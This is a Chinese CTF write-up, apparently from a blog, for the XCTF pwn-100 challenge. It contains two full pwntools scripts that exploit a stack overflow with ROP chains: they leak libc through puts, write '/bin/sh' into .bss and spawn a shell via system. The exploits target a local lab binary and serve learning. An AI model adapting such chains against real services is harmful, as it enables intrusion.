攻防世界pwn-100(两种方法)详细分析

这题是比较基础的构造ROP链也比较典型,本菜鸡学了受益匪浅(っ °Д °;)っ

0x1 checksec + file

在这里插入图片描述
在这里插入图片描述

0x2 拖进ida分析程序:

在这里插入图片描述

显然应该进sub_40068E里看看:

在这里插入图片描述

鸭儿,继续进sub_40063D(v1,200):

在这里插入图片描述

这里就是一个for循环,每次向 i + a1(即:i + v1)所指的内存读取输入1个字节,i 不能大于200

貌似无懈可击,返回去查看v1所在栈空间大小:
在这里插入图片描述
只有0x40 小于 200故存在栈溢出

0x3 寻找system和/bin/sh

无~~ 故需要进行泄露

0x4 确定泄露函数及方法

在这里插入图片描述

发现存在puts和read函数,可以用于泄露地址

其次程序段中已经存在read(0, (void *)i + v1, 1ull),可就地取材
此方法可减少对于pop ret的gadget的使用,但是可能会造成确定libc时候候选较多,需要多次尝试

0x5 标准方法:利用万能gadget:(学习请参考:https://xz.aliyun.com/t/5597)

在这里插入图片描述

由:在这里插入图片描述
可看出只要rbx和rbp不相同就会跳转回去循环,这是我们不允许的,我们需要控制程序流ret到我们需要的地方去,故预先设置rbx=0,rbp=1即可让程序继续执行我们构造的ROP链。故可以构造payload1=‘a’*0x48+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 泄露puts的地址,从而确定libc和libcbase

经过查找发现不存在/bin/sh,需要自己写入,gdb中vmmap发现0x601000为基址的地址可写,到ida查找,选择0x601040进行写入~在这里插入图片描述

exp如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']

pop_rdi = 0x0000000000400763
pop6 = 0x040075A
mov3 = 0x0400740

main = 0x0400550

#leak puts_addr
payload1 = 'a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload1 = payload1.ljust(200, 'b')
p.send(payload1)
p.recvuntil('bye~\x0a')
puts_addr = u64(p.recvuntil('\x0a')[:-1].ljust(8, '\x00'))
print hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')

#write /bin/sh in .bss
payload2 = 'a'*0x48 + p64(pop6) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(0x601040) + p64(0)
payload2 += p64(mov3) + 'a'*56 + p64(main) #此处56=7*8,mov3执行完按照顺序就返回到了pop6的位置,而pop6占7行,64位每行8字节,用56个覆盖后才能布置返回地址为_start
payload2 = payload2.ljust(200, 'b')
p.send(payload2)
p.recvuntil('bye~\x0a')
p.send('/bin/sh\0')

#pause()
#get shell
print 'get shell:'
payload3 = 'a'*0x48 + p64(0x04006FF) + p64(pop_rdi) + p64(0x601040) + p64(system_addr) + p64(0xdeadbeef) #这里千万记得64位要进行堆栈平衡!!!又被坑了一次。。。网上的wp就没堆栈平衡
payload3 = payload3.ljust(200, 'b')
p.send(payload3)
p.interactive()

0x6就地取材:(参考https://blog.csdn.net/weixin_42151611/article/details/91474574)

寄存器 rdi 中存放的是写入的地址,rsi 是写入的字节数,所以可以通过
pop rdi; ret
pop rsi; pop r15; ret
来控制写入

exp如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
from LibcSearcher import *

io = process('./pwn')

readn = 0x40063D
start = 0x40068E
read_got = 0x601028
put_plt = 0x400500
put_got = 0x601018
length = 0x40
max_length = 200
bss = 0x601040

pop_rdi = 0x0000000000400763
pop_rsi_r15 = 0x0000000000400761

def stageone():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got)	#pop_rdi后紧接read_got,就把read_got传入了rdi,作为参数
    payload += p64(put_plt)+p64(pop_rdi)+p64(bss)	#上一行执行ret的时候就跳转到puts_plt,执行到现在就类似于执行了一个puts(read_got)
    payload += p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start)	#这一行也类似,上一行把bss的地址pop入rdi,然后把7pop入rsi,然后执行readn,就类似于执行了readn(bss,7)
    payload += "A"*(max_length-len(payload))	#这里就是填充
    io.send(payload)
    sleep(1)
    io.send("/bin/sh")		#payload送出去以后,会先puts,然后执行readn(bss,7),所以就要再送入/bin/sh字符串
    print io.recvuntil("bye~")
    return u64(io.recv()[1:-1].ljust(8,'\0'))

read_addr = stageone()
print "read address: ", hex(read_addr)

libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
print "system address: ",hex(system_addr)

def stagetwo():
    payload = 'A'*length+"AAAAAAAA"+p64(0x04006FF)+p64(pop_rdi)+p64(bss)	#将bss的地址即/bin/sh字符串的地址传给rdi作为第一个参数,然后直接执行system,就相当于执行了system("/bin/sh"),然后getshell
    payload += p64(system_addr)+p64(start)
    payload += "A"*(max_length-len(payload))
    io.send(payload)

stagetwo()
io.interactive()

0x7 对比一下libcsearcher的结果:

方法一:在这里插入图片描述

方法二:在这里插入图片描述
但是大佬说有经验的话可以直接看出第二个选6…菜鸡只好都选一遍啦 ( ఠൠఠ )ノ

0x8 勉励一下自己和看到这里的小可爱,keep fighting 我们终将成为大佬!!奥利给!!

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值